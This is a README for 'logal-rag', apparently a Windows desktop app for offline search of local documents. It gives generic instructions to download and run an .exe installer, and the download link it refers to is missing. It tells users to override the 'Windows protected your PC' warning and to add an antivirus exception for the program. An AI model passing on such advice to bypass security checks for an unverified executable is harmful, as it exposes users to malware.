🔍 logal-rag - Search your local documents with ease

logal-rag helps you find information within your private files. It uses smart technology to understand your questions and searches through your saved documents to give you the right answers. You keep full control of your data since everything runs on your own computer.

🛠️ System Requirements

logal-rag runs on most modern desktop computers. Your system needs these specifications to perform well:

• Operating System: Windows 10 or Windows 11.
• Processor: An Intel Core i5 or AMD Ryzen 5 or better.
• Memory: 8 GB of RAM.
• Storage: 2 GB of free disk space for the program files.
• Graphics: Any standard graphics card.

This software does not need an internet connection to run after you download it. It works entirely offline to protect your privacy.

📥 Getting the Application

Visit this page to download the latest version of the installer.

1. Click the link above to open the releases page in your web browser.
2. Look for the section marked Assets.
3. Click the file ending in .exe to start the download.
4. Wait for the file to finish downloading to your computer.

⚙️ Installation Steps

Follow these steps to set up the application on your Windows machine:

1. Open your Downloads folder.
2. Double-click the file you just downloaded.
3. Windows may display a message saying "Windows protected your PC." If this happens, click "More info" and then click "Run anyway."
4. Follow the prompts on your screen. The setup program guides you through the process.
5. Choose the folder where you want to keep the program. The default location works for most users.
6. Click "Install" to begin moving the files to your computer.
7. Click "Finish" once the progress bar completes.

You can now find a shortcut for logal-rag on your desktop or in your Start menu.

🚀 Running logal-rag

Once you install the program, you can start searching your documents:

1. Double-click the logal-rag icon to launch the window.
2. The app scans your documents on the first run. This might take a few minutes if you have many files.
3. Type a question or a keyword into the prominent text box in the center of the window.
4. Press the Enter key or click the Search button.
5. Wait a moment for the application to process your query.
6. The application displays the most relevant answers and lists the files used to find them.

📂 Managing your Documents

You decide which documents the application can search. To change your folder settings:

1. Open the Settings menu by clicking the gear icon in the top right corner.
2. Click on "Document Directories."
3. Click "Add Folder" to point the application to a new location on your hard drive.
4. Click "Remove" to stop searching a specific folder.
5. Click "Save" to apply your changes.

The application automatically updates its index when you add or remove folders. You do not need to restart the program for these changes to take effect.

💡 Using Search Filters

Narrow down your search results by using the built-in filters.

• File Type Filter: Click the dropdown menu to search only within PDF files, text files, or Word documents.
• Date Filter: Use the calendar tools to select a start and end date. This helps when you need to find documents from a specific project or time frame.
• Keyword Highlighting: The application highlights your search terms in the results pane. This helps you confirm you found the correct information.

🛡️ Privacy and Security

Data security remains a high priority for this project. The application does not send your documents to any external servers. Everything happens on your local hardware. You can check the network usage in your Task Manager to confirm that the application does not make connections to the internet while it processes your files.

🛠️ Troubleshooting Common Issues

If the application does not open, try these common fixes:

• Restart your computer. Sometimes background processes get stuck and need a clean start.
• Ensure you have the latest updates for Windows.
• Reinstall the application if you receive an error message during the startup process.
• Check your antivirus software. Sometimes strict security settings flag new applications. Ensure you add an exception for the logal-rag folder if your antivirus blocks the launch.

📈 Performance Tips

If the search process takes too long, you can improve speed:

1. Limit the number of folders you index.
2. Avoid indexing folders that contain thousands of small, temporary files.
3. Turn off the "Deep Scan" feature in Settings if you only need basic keyword matching.
4. Ensure your chosen folders live on a fast hard drive, such as an SSD, rather than an older spinning disk drive.

📋 Keeping the Application Updated

Check the releases page periodically to see if a newer version exists. If you want to update:

1. Download the new installer from the link provided in the download section.
2. Run the installer.
3. The installer detects your previous version and overwrites it.
4. Your settings and index history remain intact after the update.

This ensures you always have access to the latest features and improved search accuracy.